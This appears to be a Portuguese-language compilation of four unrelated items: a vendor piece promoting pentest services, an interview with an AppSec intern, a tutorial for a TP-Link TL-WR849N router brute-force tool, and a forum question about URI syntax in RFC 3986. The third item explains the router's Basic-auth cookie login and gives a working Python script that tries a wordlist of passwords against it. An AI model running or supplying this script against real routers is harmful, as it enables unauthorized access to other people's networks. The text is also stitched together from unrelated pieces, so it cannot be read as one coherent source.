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  1. A crescente digitalização que vem ocorrendo nos últimos anos em todas as esferas do cotidiano tem afetado diretamente tanto pessoas quanto empresas. Cada vez mais, consumidores compram online, funcionários trabalham remotamente, empresas migram serviços e dados para ambientes cloud, adotam ferramentas de analytics - sem falar de outras tecnologias que já estão no horizonte ou em processo de adoção como IoT, 5G, I.A., etc. Tudo isso vem acompanhado de novos desafios e riscos que exigem uma postura mais proativa na proteção das informações e ativos de pessoas e empresas. Adotar essa postura envolve uma jornada que deve considerar as particularidades do negócio e sua relação com toda essa tecnologia, especialmente em uma realidade altamente complexa, com pessoas, unidades de negócios, terceirizados e fornecedores acessando ativos e dados valiosos através de inúmeras redes, dispositivos e aplicativos. É nesse cenário que CIOs, CISOs e os times encarregados de proteger o negócio precisam identificar e corrigir vulnerabilidades dentro das empresas, estejam elas onde estiverem . Um cenário complexo que pede uma postura de segurança proativa Uma postura proativa na segurança da informação pode ser resumida na habilidade de antecipar as táticas, técnicas e procedimentos usados por atacantes. Para isso é preciso, antes de tudo, pensar como ele, bem como ter acesso às mesmas ferramentas e habilidades que eles teriam. Isso demanda acesso a uma solução que envolva uma equipe especializada, que seja capaz de simular o atacante, identificando e simulando a exploração de falhas de segurança em profundidade, evidenciando os principais impactos ao negócio. E o Pentest é o que melhor representa essa postura. Pentests, ou testes de penetração, nada mais são do que uma série de testes executados para identificar os pontos mais vulneráveis a um incidente cibernético, avaliar a exposição da organização e sua capacidade de lidar com esses incidentes. Eles podem ser aplicados a qualquer dispositivo ou ambiente - redes, aplicativos, dispositivos pessoais, sistemas de controle industrial, dispositivos IoT ou mesmo carros e aviões. Um tipo de pentest para cada situação Para atender a essa gama de aplicações existem diversos tipos de pentests (veja abaixo). Sua escolha requer cautela, uma vez que há muitas diferenças entre os serviços e entre os seus fornecedores Segundo o Gartner, é fundamental que os líderes de segurança analisem “o tipo específico de teste necessários e os objetivos, escopo, requisitos e limites dos testes” a fim de definir tanto o serviço quanto o seu fornecedor. Conheça Alguns Tipos de Pentest External - tem como objetivo entrar no ambiente corporativo de TI ou obter acesso a dados ou sistemas críticos a partir da Internet Internal - avalia as proteções do ambiente corporativo de TI sob o ponto de vista da rede interna Mobile Application - visa encontrar vulnerabilidades ou discrepâncias de programação que possam ser usadas em um ataque Web Application - avalia resiliência de aplicações web Wi-Fi - verifica a possibilidade de comprometer ambientes corporativos a partir de redes Wi-Fi IoT - testa a resiliência de dispositivos IoT Testes no Ambiente de Rede - verifica vulnerabilidades neste ambiente e em seus dispositivos Testes de Software - identifica falhas que possam levar ao controle do dispositivo, injeção ou interceptação de dados, etc. Testes de Hardware - verifica vulnerabilidades diretamente ao hardware do dispositivo alvo Estas e outras modalidades de Pentest fazem parte das ofertas da Tempest. A importância de contar com o parceiro correto para proteger seu negócio É fundamental contar com parceiros com expertise técnica que ofereçam produtos, serviços e conhecimento para identificar possíveis brechas de segurança na organização. A Tempest Security Intelligence é a maior empresa brasileira especializada em cibersegurança e prevenção a fraudes digitais. Hoje contamos com um time de mais de 450 profissionais e escritórios em Recife, São Paulo e Londres; nos últimos anos a Tempest ajudou a proteger mais de 500 empresas de todos os portes de setores como serviços financeiros, varejo e e-commerce. Pesquisando e criando novas soluções de proteção digital, a Tempest alia expertise técnica, sólida metodologia e alta tecnologia para entregar um portfólio com mais de 70 soluções, envolvendo Consultorias, Digital Identity, Managed Security Services e Integração.
  2. Nos últimos meses, dividimos algumas dicas para quem tem curiosidade acerca das possibilidades de carreiras em Segurança de Aplicações. Afinal, seja para uma transição de carreira, ou mesmo para quem está ingressando agora no mercado de trabalho, ela é apontada como uma das áreas mais promissoras para os próximos anos. Desta vez, para mostrar como é a rotina e quais são os desafios de um jovem profissional que está desbravando uma das muitas possibilidades de carreiras dentro de Segurança de Aplicações, resolvemos conversar diretamente com alguém que acabou de ingressar neste universo. Nosso bate-papo de hoje é com o Antony Leite, de 17 anos, que há cinco meses é estagiário no time Pentest as a Service (PTaaS) da Conviso, e que, no momento, está estudando para aprimorar suas skills técnicas em relação a Pentest Web e Pentest Mobile. Foi a partir de uma conversa com um professor e com a ajuda de uma comunidade online que ele passou a ter interesse em uma carreira na área e acabou encontrando esta oportunidade na Conviso. Ele nos conta um pouco sobre como é a sua rotina enquanto um profissional que está começando nesta área, quais foram suas primeiras impressões e o que mais o surpreendeu em relação ao dia a dia de uma empresa de AppSec. Confira! Antony, antes de entrar na Conviso, qual era o seu conhecimento sobre Segurança de Aplicações? Já ouvia falar a respeito da área nos cursos que frequenta? Antes de entrar na Conviso eu estava terminando o curso Pentest Profissional e o Pentest Experience da DESEC (já terminei ele e só estou esperando a minha DCPT - Desec Certified Penetration Tester chegar). Eu fiquei sabendo da Conviso por conta do seu produto - o AppSec Flow - em um dos bate papos na Boitatech. Antes de trabalhar na Conviso, você considerava uma carreira em AppSec? Ou aconteceu “por acaso”? Sim. O meu interesse pela a área de AppSec surgiu no início da pandemia e isso se deve a dois fatores. O primeiro é o meu professor Jocenio, que ministrava a matéria de Sistema de Comunicação, ao qual tive o prazer de ter alguns bate-papos sobre as possibilidades de trabalho nessa área. Naquele momento eu percebi que existia um mundo de possibilidades. O segundo fator foi a comunidade Boitatech, eles foram responsáveis pelo meu engajamento inicial na área, meu desenvolvimento em relação às skills técnicas e metodologias de estudo, durante esse tempo sempre estive presente nela, conheci pessoas incríveis que sempre me ajudaram. O que mais te surpreendeu a respeito da rotina de um profissional de AppSec? As possibilidades de trabalho. Antes de entrar na área eu tinha uma visão muito pequena de como funciona toda a operação de AppSec, achava que tinha poucas possibilidades, mas não - existem várias! "A parte mais gratificante acho que é o autodesenvolvimento, a sensação de sempre estar evoluindo, aprendendo algo novo, principalmente na Conviso, onde um dos valores é crescer 1% por dia" Como é a sua rotina de trabalho? A minha rotina de trabalho na Conviso inicia na segunda-feira, com uma reunião semanal, onde são separadas as análises que serão executadas durante a semana e quem será o responsável por cada uma. Normalmente eu fico acompanhando um analista em um projeto. No final da semana, na sexta-feira, acontece a reunião de Review, onde cada membro do time mostra o que ele realizou durante aquela semana, se enfrentaram alguma dificuldade na realização do projeto ou algo do tipo. Depois de 15 dias temos uma reunião de retrospectiva, onde apontamos pontos positivos, pontos que devem ser melhorados e ações para que o time possa melhorar - é uma dinâmica muito legal e produtiva. A cada 30 dias temos ainda a reunião One-a-One que acontece entre você e o seu líder, onde você levará pontos que possam ser melhorados no seu dia a dia, planos para o seu PDI - Plano de Desenvolvimento Pessoal, ou qualquer assunto que caiba a você e ao seu líder. Depois de algum tempo no estágio, acompanhando os analistas, você irá escolher um tema para fazer um blog post, onde a Conviso irá divulgar em seu blog. Para você, qual a parte mais gratificante de trabalhar nesta área? E qual a mais desafiadora? A parte mais gratificante acho que é o autodesenvolvimento, a sensação de sempre estar evoluindo, aprendendo algo novo, principalmente na Conviso, onde um dos valores é crescer 1% por dia. A parte mais desafiadora é quando encontramos a fronteira do nosso conhecimento. Na minha área, isso ocorre quando estamos analisando uma aplicação e encontramos novas tecnologias do mercado ou tecnologias implementadas de forma mais robusta, o que acaba nos levando a ter que estudar esse assunto mais a fundo, levando em conta as especificidades do sistema do cliente. Posso garantir que é bem desafiante, mas, por outro lado, é muito gratificante quando avançamos nessa fronteira do conhecimento. Você pretende seguir carreira em AppSec depois de formado? Se sim, qual direcionamento pretende tomar dentro da área? Sim, pretendo seguir na carreira de AppSec com foco na parte ofensiva. Que dicas você daria para alguém que tem interesse em ingressar na área de AppSec? Frequentar comunidades voltadas para essa área, participar de eventos e buscar se manter sempre atualizado sobre as novas tecnologias e tendências é um ótimo início, como também participar de CTFs, visto que temos ótimas plataformas como o TryHackMe, HackTheBox, PicoCTF. Porém, ressalto que estudar, buscar cursos e certificações voltadas para essa área é muito recomendável, pois são os momentos que você consegue dar alguns saltos de conhecimento. Além disso, junto aos cursos, buscar sempre praticar, testar a teoria e experimentar novas abordagens são também iniciativas que sempre garantem muito aprendizado e um amadurecimento/evolução na área de AppSec. Segurança de Aplicações - possibilidades de carreira vão muito além do Pentest Se assim como o Antony você tem interesse em uma carreira em Segurança de Aplicações, a Conviso tem vagas para variados perfis - desde estagiários a profissionais sênior - e em diversas áreas da empresa. No caso do Antony, ele gostou tanto da experiência no time de Pentest as a Service (PTaaS), que pretende seguir na carreira de AppSec com foco na parte ofensiva. Mas vale lembrar que existem muitas outras áreas em que um profissional pode atuar quando falamos sobre AppSec. Na Conviso, por exemplo, um Analista de Segurança da Informação tem uma série de possibilidades. Este profissional pode trabalhar tanto na área de Consulting - atuando em projetos que têm como objetivo entregar processos, programas e atividades que tenham como foco em AppSec; como pode também atuar no time de Managed Security Services - MSS, como o responsável por diversas etapas do ciclo de desenvolvimento seguro, análise de requisitos, modelagem de ameaças, revisão de código e recomendações de melhores práticas de segurança; e pode ainda também atuar na área de PTaaS, testando aplicações nos mais variados contextos possíveis, subvertendo software e construindo soluções criativas. E vale lembrar que até aqui abordamos apenas algumas das atividades relacionadas aos analistas que atuam nos times de Professional Services. Profissionais como um Desenvolvedor, que se dedica ao desenvolvimento de software, ou mesmo um Account Executive, que atua no time de Sales e tem contato direto com os clientes, também são imprescindíveis para que uma empresa de AppSec funcione e prospere! Se você tem interesse em saber mais sobre a rotina de outros profissionais que fazem uma empresa de Segurança de Aplicações acontecer - como Desenvolvedores Ruby on Rails, bem como time de Sales, Marketing e People Hacking, sinalize nos comentários, e certamente traremos este conteúdo em um próximo texto. Até lá, não deixe de conhecer as vagas abertas na Conviso. 😉
  3. Tools Router Brute Ferramenta para executar ataque de força bruta em roteadores TPLink. Download código completo: https://github.com/WalderlanSena/toolsrouterbrute Modelo Roteador Wireless N 300Mbps TL-WR849N Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador WDS wireless bridge fornece perfeita ponte para expandir a rede wireless. Site: https://www.tp-link.com/br Funcionamento da Autenticação do TP-Link - TL-WR849N Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário. Criando uma variável isLocker e atribuindo o valor false a mesma. Deletando o cookie Authorization, vulgo responsável pela a autenticação. var url = window.location.href; if (url.indexOf("tplinklogin.net") >= 0) { url = url.replace("tplinklogin.net", "tplinkwifi.net"); window.location = url; } var isLocked = false; deleteCookie("Authorization"); Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação. function Base64Encoding(input) { var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); } return output; } Função que monitora o clique de login e captura os dados informado pelo usuário function PCWin(event) { if (event.keyCode == 13) { PCSubWin(); } } function PCSubWin() { // Verifica se o usúario não está bloqueado por alguns segundos if (isLocked == true) { return; } // Criando uma variavel que receberá o base64 referente a autenticação // E criando duas variavels para receber o userName e o password var auth; var password = $("pcPassword").value; var userName = $("userName").value; // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password auth = "Basic "+Base64Encoding(userName+":"+password); // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo document.cookie = "Authorization=" + auth; // Recarrega a página window.location.reload(); } Entendendo o funcionamento do nosso script que chamei de trb.py def main(): wordlist = open(sys.argv[3], 'r') count = 0 for i in wordlist: login = str(sys.argv[1]) senha = i.rstrip() auth = "Basic " authEncode = auth+base64.b64encode(login+':'+senha) cookie = {"Authorization": authEncode} response = r.get('http://'+sys.argv[2], cookies=cookie) if response.content.count('id="userName"') != 1: os.system('setterm -cursor on') print('\n\tPassword Found =====> ' + senha) exit(0) else: os.system("clear") splash() count = count + 1 print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha) Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador. Capturamos o retorno e verificamos a palavra chave retornada após o login. O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações ! Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente." Grande abraço !
  4. Ola galera, Eu estava intentando entender como funcionao as URL e a diferenca entre URL e URI, entao comecei a ler os RFC1738 E RFC3986 somente que en uma parte explicando o hier-par da RFC3986 fala sobre authority path-abempty e nao consigo entender ao que se refere exatamente. tambem fiz uma procura no goole mais nao encotrei conteudo em portugues, somente en ingles e como nao sei ingles com o google translate acho que piorou kkkk.. bom se aguem puder me dar uma ajuda estaria muito grato. links: https://tools.ietf.org/html/rfc3986#section-3 https://tools.ietf.org/html/rfc3986#section-3.3
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